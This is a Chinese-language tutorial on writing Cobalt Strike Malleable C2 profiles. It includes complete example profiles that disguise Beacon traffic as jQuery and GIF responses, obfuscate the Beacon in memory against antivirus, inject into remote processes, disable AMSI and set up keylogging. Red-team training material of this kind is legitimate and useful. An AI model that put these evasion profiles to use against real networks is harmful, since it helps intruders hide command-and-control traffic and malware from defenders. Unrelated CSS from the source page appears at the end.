Profile编写规则
简介
在网络渗透测试和红队模拟攻击中,隐藏命令与控制(C2)流量的特征对于成功绕过入侵检测系统至关重要。Cobalt Strike提供了一个强大的工具——Malleable C2 profiles,用于自定义C2流量,从而使其看起来像正常的网络流量。下面我们就一起来学习如何使用和自定义这些profile
基础概念
全局选项 :这是一些设置C2服务器的基本参数的选项,比如设置使用的SSL证书文件,设置服务器端口等。
http-stager :这部分设置用于控制使用HTTP或HTTPS协议的stager的行为。比如,可以设置User-Agent、URI、POST请求的数据格式等。
http-get :这部分设置用于控制Beacon从C2服务器获取任务时发送的HTTP GET请求的格式。
http-post :这部分设置用于控制Beacon向C2服务器发送数据时发送的HTTP POST请求的格式。
metadata :这部分设置用于控制Beacon和C2服务器交换的元数据的格式。
基础使用流程
1.创建Profile文件
首先,需要创建一个新的Malleable C2 profile文件,或者修改一个已经存在的profile文件。这个文件是一个纯文本文件,可以使用任何文本编辑器来编辑。一个基本的Profile文件结构如下:
复制 set keystore "/root/cobaltstrike.store" ;
http - stager {
set uri "/download" ;
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537";
}
http - get {
set uri "/search" ;
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537";
}
http - post {
set uri "/submit" ;
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537";
}
http - malleable {
set uri "/data" ;
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537";
}
2.检验profile文件
profile文件编写完成后,可使用CobaltStrike自带的c2lint来验证profile文件是否正确配置,执行如下命令:
复制 ./c2lint <profile_file>
如下图所示即为profile文件配置成功
3.加载Profile文件
在启动Cobalt Strike team server时,可执行如下命令指定Malleable C2 profile文件
复制 ./teamserver [yourip] [password] ./myprofile.profile
其中,[yourip]和[password]是你的C2服务器的IP地址和密码,myprofile.profile是你的Malleable C2 profile文件的路径
4.生成并部署beacon
在Cobalt Strike中,例如你可以使用"Attacks"->"Packages"->"Windows Executable (S)"菜单项来生成包含了你的Malleable C2 profile的Beacon。然后,你可以将这个Beacon部署到你的目标机器上
常用关键字
数据编码方式
以下表格是一些CobaltStrike在profile配置中用于数据编码的常用关键字,你可以根据需要组合使用这些关键字,来实现对数据的编码、附加额外字符串等操作
例如,你可以选择先使用base64编码,然后再添加一个特定的字符串,以此来创建更复杂的数据编码模式
声明方式 编码方式 一种变异的Base64编码,编码后的数据不会含有可能破坏URL完整性的字符,如"+"、"/"等
使用NetBIOS编码,产生的编码字符为小写 ('a'-'p')
使用NetBIOS编码,产生的编码字符为大写 ('A'-'P')
Strings转义字符
以下是可在profile文件中使用的转义字符:
十六进制(shellcode知道吧就是那东西的写法\x90\x90)
如下代码的作用是,当Cobalt Strike的Beacon与C2服务器通信时,服务器响应的HTTP消息头中的Content-Type
被设定为"image/gif",并且在消息体中插入了一段特定的十六进制编码的数据,这些数据在传输过程中会被解析为一个GIF图像。这样可以在网络流量中掩盖Beacon的通信数据,使其看起来像是正常的图像数据,从而避开了网络监控的检测
复制 server {
header "Content-Type" "image/gif";
output {
# 下列两行行分别将不同的十六进制序列插入到输出的开始位置
# 这种序列通常用于具体的编码,例如这里就是构建一个GIF图像的特定格式
prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
print; #print命令会将输入数据打印为字符串
}
}
终止关键字(指定数据存放位置)
在设置完数据编码规则后,我们需要使用终止关键字来标记编码规则的结束,并指定数据的存放位置。
将数据存储在指定的URI参数中。("parameter"这个终止关键字在"id"代码块中和其他地方的含义是不同的,在id代码块中是代表beacon的session id)
将数据直接附加到URI后面。当使用此终止语句时,建议使用base64url而非base64进行编码,因为普通的base64编码可能会包含"+"号,而在URL中这可能会被转义。
在http-get.server.output
,http-post.server.output
和http-stager.server.output
这三个代码块中,只能使用print
作为终止关键字,因为这些区块的数据应原样输出,不能存储在其他位置。
在http-get.client.metadata
中不能使用print
作为终止关键字,这是由于HTTP GET请求的特性决定的,它并未设计为在请求体(body)中传递参数。
另外,如果在http-post.client.output
中使用header
,parameter
或uri-append
,Beacon会将数据分块到合理的长度后进行发送,以避免因数据长度过长而导致的问题。
常用代码块
http-get
这部分配置信标发送到服务器的 HTTP GET 请求。这通常用于信标的 "check-in" 操作,即信标定期联系服务器以获取指令。http-get
配置可以包括请求的URI、请求头、请求参数等,以及服务器响应中应该包含的数据。这使得通信看起来像是正常的网络流量,帮助信标躲避入侵检测系统的侦测
如下代码定义了CS的HTTP GET请求的配置,分为两部分,client
部分描述了Beacon发出的请求,server
部分描述了C2服务器的响应
在metadata
块中,base64url
表示Beacon将元数据进行Base64编码;prepend "__cfduid="
表示在编码后的元数据前添加字符串"__cfduid="
;header "Cookie";
表示将元数据放入"Cookie"头部字段发送
复制 http - get {
# 设置Beacon与C2服务器之间通信的URL
set uri "/jquery-3.3.1.min.js" ;
# 设置HTTP请求的类型
set verb "GET" ;
client {
# 设置HTTP请求头的字段
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" ;
header "Referer" "http://code.jquery.com/" ;
header "Accept-Encoding" "gzip, deflate" ;
metadata {
# 设置元数据编码为base64url
base64url ;
# 设置元数据前缀
prepend "__cfduid=" ;
# 表示将元数据放入Cookie字段
header "Cookie" ;
}
}
server {
# 设置服务器回应的HTTP头字段
header "Content-Type" "application/octet-stream" ;
output {
# 设置服务器回应的数据编码为base64
base64 ;
# print指令告诉Cobalt Strike在回应中直接打印数据,不添加任何装饰
print ;
}
}
http-post
这部分配置beacon发送到服务器的 HTTP POST 请求。beacon使用 POST 请求来发送数据回 C2 服务器,例如搜集到的信息、命令执行结果等
与http-get不同的是,http-post多了个id参数,id部分定义了如何传输session id
session id是CS用来标识不同的beacon实例的唯一标识符。为了与C2服务器进行有效通信,每个Beacon必须在其请求中包含这个标识符,以便C2服务器可以识别和处理每个请求。例如,如果session id是1234,那么Beacon发送的POST请求uri会是/submit.php?id=1234
。
下述代码定义了Cobalt Strike Beacon与C2服务器之间进行HTTP POST请求通信的规则。要注意的是,uri不能设置的和http-get一样
复制 http - post {
# 设置HTTP POST请求的URI
set uri "/submit.php" ;
client {
# 设置HTTP请求的Content - Type
header "Content-Type" "application/octet-stream" ;
# 定义session id的传输方式,这里是添加到URL参数中
id {
parameter "id" ;
}
# 定义Beacon的数据输出方式,这里是编码为base64然后发送
output {
base64 ;
print ;
}
}
# 服务器响应部分
server {
# 设置HTTP响应的Content - Type
header "Content-Type" "text/html" ;
# 定义响应数据的处理方式,这里是解码(从base64格式)然后使用
output {
base64 ;
print ;
}
}
}
http-stager
C2与Beacon之间有两种通信方式:stager(分阶段)与stagerless(无阶段)。这两种类型的Payload的主要区别在于它们的大小,以及它们如何被传递和执行
stager :Stager是一个小型的引导程序,其主要任务是连接到攻击者的服务器(或者某个中间节点),下载剩余的Payload(即Stage部分),然后执行它
stagerless :这种Payload在被传递到目标系统时就已经完整,没有分为Stager和Stage两部分。一旦Payload到达目标系统,它就可以立即执行
Cobalt Strike提供了http-stager
代码块,使我们可以控制stage(即Beacon的核心代码)的发送过程,下面是一个http-stager
的示例
复制 http - stager {
set uri_x86 "/jquery-3.3.1.slim.min.js" ;
set uri_x64 "/jquery-3.3.2.slim.min.js" ;
server {
header "Server" "NetDNA-cache/2.2" ;
header "Cache-Control" "max-age=0, no-cache" ;
header "Pragma" "no-cache" ;
header "Connection" "keep-alive" ;
header "Content-Type" "application/javascript; charset=utf-8" ;
output {
## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
# 2nd Line
prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.3.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r";
# 1st Line
prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */" ;
append "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
print ;
}
}
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" ;
header "Accept-Language" "en-US,en;q=0.5" ;
# header "Host" "code.jquery.com" ;
header "Referer" "http://code.jquery.com/" ;
header "Accept-Encoding" "gzip, deflate" ;
}
}
set uri_x86 "/jquery-3.3.1.slim.min.js";
和 set uri_x64 "/jquery-3.3.2.slim.min.js";
: 这两行设置了32位和64位stager在HTTP请求中使用的URI。
server
部分设置了C2服务器在HTTP响应中使用的参数。
header
关键字设置了响应头的参数。例如header "Server" "NetDNA-cache/2.2";
设置了"Server"响应头为"NetDNA-cache/2.2"。
output
部分设置了响应体的内容。prepend
和 append
分别添加了一些数据到响应体的开始和结束。在这种情况下,数据被设计成看起来像一个jQuery文件,这有助于掩盖stager的真实内容。
client
部分设置了stager在HTTP请求中使用的参数。
header
关键字设置了请求头的参数。例如,header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
总的来说,这段配置为Cobalt Strike设置了一个伪装成jQuery文件的HTTP载荷分发机制,有助于绕过某些安全检测
http-config
http-config允许你定义http通信的全局特性,会影响所有HTTP相应
复制 http-config {
set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
header "Server" "Apache";
header "Keep-Alive" "timeout=5, max=100";
header "Connection" "Keep-Alive";
}
https-certificate
Cobalt Strike的Malleable C2 profile提供了两种方式来设置SSL证书:使用预生成的证书和生成自签名证书
使用预生成的证书
如果你已经有一个预生成的PEM格式的SSL证书(包括公钥和私钥),你可以直接在profile文件的http-certificate代码块中来指定它
在下述例子中,set keystore
命令指定了证书文件的路径,而set password
指定了证书文件的密码。
复制 https - certificate {
set keystore "C:\\path\\to\\your\\keystore.store" ;
set password "password" ;
}
生成自签名证书
如果你没有证书,Cobalt Strike可以为你生成一个自签名证书。在profile文件中,可以使用https-certificate
代码块来定义证书的各个部分,在下述例子中,set CN
、set O
等命令定义了证书的各种属性
复制 https - certificate {
set CN "www.example.com" ; # 定义通用名称
set O "Example Corporation" ; # 定义组织
set OU "Marketing" ; # 定义组织单位
set C "US" ; # 定义国家
set ST "New York" ; # 定义州 / 省
set L "New York" ; # 定义城市
set validity "365" ; # 设置了证书的有效期
set keypass "password" ; # 设置私钥的密码
}
.pem
转 .store
首先使用openssl命令将PEM格式的证书和私钥合并为一个PKCS12 (.p12)格式的文件
复制 openssl pkcs12 -export -in cert.pem -inkey key.pem -out pkcs12.p12 -name alias -password pass:myp12password
-in和-inkey:填写你的证书和私钥文件
-out:填写你希望创建的PKCS12文件
-name:填写你证书的别名(自定义)
-password:填写PKCS12文件的密码,后面转换为Java Keystore文件要用到
使用keytool命令将PKCS12格式的文件转换为Java KeyStore (.store)格式:
复制 keytool -importkeystore -deststorepass mystorepassword -destkeystore keystore.store -srckeystore pkcs12.p12 -srcstoretype PKCS12 -srcstorepass myp12password
-deststorepass:Java KeyStore文件的密码
-destkeystore:你希望创建的Java KeyStore文件
-srckeystore:前面创建的PKCS12文件
-srcstorepass:前面设置的PKCS12文件的密码
可使用 Java 的 keytool
工具来检查生成的 .store
文件,填写你的.store
文件路径以及密码,如果你的文件有效,那么此命令会显示你的证书的详细信息,如证书的所有者、发行者、序列号、有效期等,否则返回错误消息
复制 keytool -list -v -keystore keystore.store -storepass mystorepassword
后面你就可以在Profile文件使用新生成的Java KeyStore文件了,在Profile文件中你可以这样设置:
复制 https - certificate {
set keystore "C:\\path\\to\\your\\keystore.store" ;
set password "mystorepassword" ;
}
stage
之前说过的无阶段payload会远程加载并执行stage,其实这个stage就是一个反射dll(Beacon Dll),通过修改stage块的内容可以扩展Beacon Dll的功能,以此达到一定的免杀效果
以下是一个stage代码块的例子:
复制 stage {
# 开启混淆,对生成的Beacon shellcode进行混淆
set obfuscate "true" ;
# 开启PE头覆盖,修改已加载的DLL的PE头部以逃避安全软件的检测
set stomppe "true" ;
# 开启清理功能,清理为Beacon加载而创建的资源,如线程和句柄
set cleanup "true" ;
# 让分配给Beacon的内存区域同时具有读、写和执行权限
set userwx "true" ;
# 开启智能注入,尝试避免在注入Beacon时引起异常
set smartinject "true" ;
# 在负载处于休眠状态时,对内存中的Beacon负载进行操作,改变其内存中的表现形式,使其更难被检测
set sleep_mask "true" ;
# 设置内存分配器的类型,使用Windows API中的 "VirtualAlloc" 函数
set allocator "VirtualAlloc" ;
# 定义用于替换Beacon反射性DLL的PE头的自定义字节
set magic_pe "LE" ;
# 定义PE头部的各个属性
set checksum "0" ; # 设置PE头部的校验和
set entry_point "13760" ; # 设置PE头部的入口点
set image_size_x86 "548864" ; # 设置PE头部的图像大小(x86)
set image_size_x64 "548864" ; # 设置PE头部的图像大小(x64)
set name "wwanapi.dll" ; # 设置PE头部的名称
# 设置用于替换Beacon反射DLL的Rich Header的自定义字节
set rich_header "\x39\x39\x83\xe8\x7d\x58\xed\xbb\x7d\x58\xed\xbb\x7d\x58\xed\xbb\x74\x20\x7e\xbb\x3b\x58\xed\xbb\x26\x30\xee\xba\x7e\x58\xed\xbb\x26\x30\xe9\xba\x69\x58\xed\xbb\x7d\x58\xec\xbb\xbf\x58\xed\xbb\x26\x30\xec\xba\x78\x58\xed\xbb\x26\x30\xe8\xba\x71\x58\xed\xbb\x26\x30\xed\xba\x7c\x58\xed\xbb\x26\x30\xe3\xba\x1f\x58\xed\xbb\x26\x30\x12\xbb\x7c\x58\xed\xbb\x26\x30\xef\xba\x7c\x58\xed\xbb\x52\x69\x63\x68\x7d\x58\xed\xbb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
}
在 stage
部分,我们可以使用不同的命令来绕过一些防御机制和检测策略,如下表格所示:
用于避免某些扫描内存段的前几个字节以查找注入的 DLL 的痕迹的检测。
用于替换指定的字符串,如默认的 "ReflectiveLoader" 字符串。
用于启用内存混淆,使 Beacon 在每次 sleep 之前都混淆自己所在的内存区域,并在 sleep 结束后解混淆。此功能专门绕过内存扫描的杀软(比如卡巴)
控制 Beacon 的反射加载器是否使用 RWX 权限来分配内存,设置为 false
可以避免引发警告和关注。
用于改变默认的内存分配器 VirtualAlloc
,可以选择使用 HeapAlloc
或 MapViewOfFile
来替代。
1是 allocator
选项的一部分,用于指定不同架构下的分配器。
控制是否在 Beacon stage 初始化完成后释放 stage 所占用的内存,设置为 true
可以避免留下内存痕迹。
process-inject
process-inject
代码块是用于控制 Beacon 在注入到远程进程时的行为。在进行攻击时,攻击者可能会尝试将 Beacon 注入到一个正在运行的进程中以实现持久化和隐藏
以下代码是Cobalt Strike配置中进程注入部分的设置,它定义了Cobalt Strike如何在远程进程中注入和执行代码。特别的,它设置了使用"VirtualAllocEx"为远程进程分配内存,内存分配的最小值设为7814字节。它指定了新分配的内存区域不应该具有读、写和执行(RWX)权限,也就是不允许在分配和写入载荷之前,内存区域具有这样的权限。为了避免某些防御机制的检测,它还在注入的代码前添加了几个NOP(无操作)指令。此外,它定义了多种在远程进程中执行代码的方法,包括使用CreateThread
,NtQueueApcThread-s
,SetThreadContext
,CreateRemoteThread
和RtlCreateUserThread
等函数,这提供了进程注入的灵活性和多样性,使得攻击更难被防御措施检测到。
复制 process - inject {
# 设置远程内存分配技术
set allocator "VirtualAllocEx" ;
# 形状注入内容和属性
set min_alloc "7814" ; # 设置内存分配的最小值为 7814 字节
set userwx "false" ; # 分配的内存不应具有读、写和执行(RWX)权限
set startrwx "false" ; # 注入代码前,内存不应被设置为具有读、写和执行(RWX)权限
transform - x86 {
# 在注入的代码前添加 NOP (无操作)指令
prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90" ; // NOP , NOP !
}
transform - x64 {
# 在注入的代码前添加 NOP (无操作)指令
prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90" ; // NOP , NOP !
}
// 指定在远程进程中执行代码的方法
execute {
CreateThread "ntdll.dll!RtlUserThreadStart+0x2285" ; # 使用CreateThread函数执行代码
NtQueueApcThread - s ; # 使用NtQueueApcThread - s函数执行代码
SetThreadContext ; # 使用SetThreadContext函数执行代码
CreateRemoteThread ; # 使用CreateRemoteThread函数执行代码
CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000" ; # 使用CreateRemoteThread函数并偏移执行代码
RtlCreateUserThread ; # 使用RtlCreateUserThread函数执行代码
}
}
注:transform-x86
和transform-x64
代码块用于对注入的代码进行转换,可以向Beacon注入的内容添加东西,你可以使用append
和prepend
命令来向注入的代码前或后添加额外的代码,又或者使用replace-str
和replace-all-str
命令在注入的代码中替换字符串
post-ex
post-ex
代码块在Cobalt Strike的Beacon payload中是用来配置后期执行(post-exploitation)阶段的一些参数。这些参数主要影响和控制如何创建新的进程、怎样注入和执行代码、如何混淆和隐藏行为以及如何收集和传输数据等。
复制 post - ex {
# 控制我们产生的临时进程。Beacon将产生一个临时进程,将shellcode注入其中,并让新的进程执行这个shellcode。
set spawnto_x86 "%windir%\\syswow64\\svchost.exe" ; # 对于 32 位payloads
set spawnto_x64 "%windir%\\sysnative\\svchost.exe" ; # 对于 64 位payloads
# 改变我们的post - ex DLLs的权限和内容。此设置启用对Beacon用于post - ex任务的DLLs(如键盘记录或令牌操作)的混淆。
set obfuscate "true" ;
# 更改我们的post - ex输出命名管道名称。此设置允许控制Beacon用于从作业中检索输出的命名管道。
set pipename "srvsvc-1-5-5-0####" ;
# 将关键函数指针从Beacon传递到其子作业。启用smart注入将使Beacon将带有关键函数指针的数据结构传递给其post - ex作业。
set smartinject "true" ;
# 允许多线程post - ex DLLs产生带有伪装起始地址的线程。
# set thread_hint "module!function+0x##" ;
# 在powerpick、execute - assembly和psinject中禁用AMSI。此选项将会在目标进程中修补AMSI。
set amsi_disable "true" ;
# 控制用于记录键盘击键的方法
set keylogger "SetWindowsHookEx" ;
}
在如上代码中,使用spawnto_x86
和spawnto_x64
设置来定义在32位和64位系统上新创建的进程的名称,可以使用obfuscate
设置来决定是否对Beacon用于后期执行任务的DLL进行混淆以避免被检测,还可以通过amsi_disable
设置来决定是否禁用目标系统的AMSI(防恶意软件扫描接口)来避免被反恶意软件工具检测等等。
pipename
参数用于定义或改变在后期执行阶段使用的命名管道(命名管道是一种在本地或网络上的不同进程之间进行通信的机制。在Windows系统中,它们通常用于在不同的进程或者系统之间共享和传输数据。它们的名字通常以\\.\pipe\
开始,然后是任意你选择的名称)。特别地,pipename
中的#
符号会被替换为一个随机的数字,这样每次创建新的命名管道时都会使用一个不同的名称,从而进一步提高了隐蔽性
例如,set pipename "srvsvc-1-5-5-0####";
设置将创建一个名为srvsvc-1-5-5-0
后面跟四个随机数字的命名管道,例如srvsvc-1-5-5-01234
。这个名字看起来像一个正常的Windows服务,可能不会引起安全人员的注意
参考链接
https://wbglil.gitbook.io/cobalt-strike/cobalt-strikekuo-zhan/malleable-c2#malleable-c2-ji-ben-yu-fa
https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_profile-language.htm#_Toc65482837
复制 @charset "UTF-8";*{box-sizing:border-box;-webkit-tap-highlight-color:transparent;-webkit-tap-highlight-color:transparent;-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}app-microfe,app-root,body{position:absolute;left:0;right:0;top:0;bottom:0;z-index:0;display:block;overflow:hidden;contain:strict}app-microfe{z-index:666}audio,canvas,progress,video{vertical-align:baseline}hr{height:.0133rem;border-width:0;box-sizing:content-box;background-color:#e2e6ee}img{max-width:100%}pre{overflow:auto}input,label,select,textarea{font-family:inherit;line-height:normal}textarea{overflow:auto;height:auto;font:inherit;color:inherit}textarea:-ms-input-placeholder{padding-left:.0267rem}textarea::-ms-input-placeholder{padding-left:.0267rem}textarea::placeholder{padding-left:.0267rem}form,input,optgroup,select{margin:0;font:inherit;color:inherit}html input[type=button],input[type=reset],input[type=submit]{cursor:pointer;-webkit-appearance:button}[tappable],[tappable] div,[tappable] span,a,a div,a span,button,button div,button span,input,textarea{-ms-touch-action:manipulation;touch-action:manipulation}button{border:0;font-family:inherit;font-style:inherit;font-variant:inherit;line-height:1;text-transform:none;cursor:pointer;-webkit-appearance:button}[tappable]{cursor:pointer}a[disabled],button[disabled],html input[disabled]{cursor:default}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}body{overflow:hidden;-webkit-font-smoothing:antialiased;-ms-touch-action:manipulation;touch-action:manipulation;font:.32rem/1.5 "Helvetica Neue",Helvetica,STHeiTi,sans-serif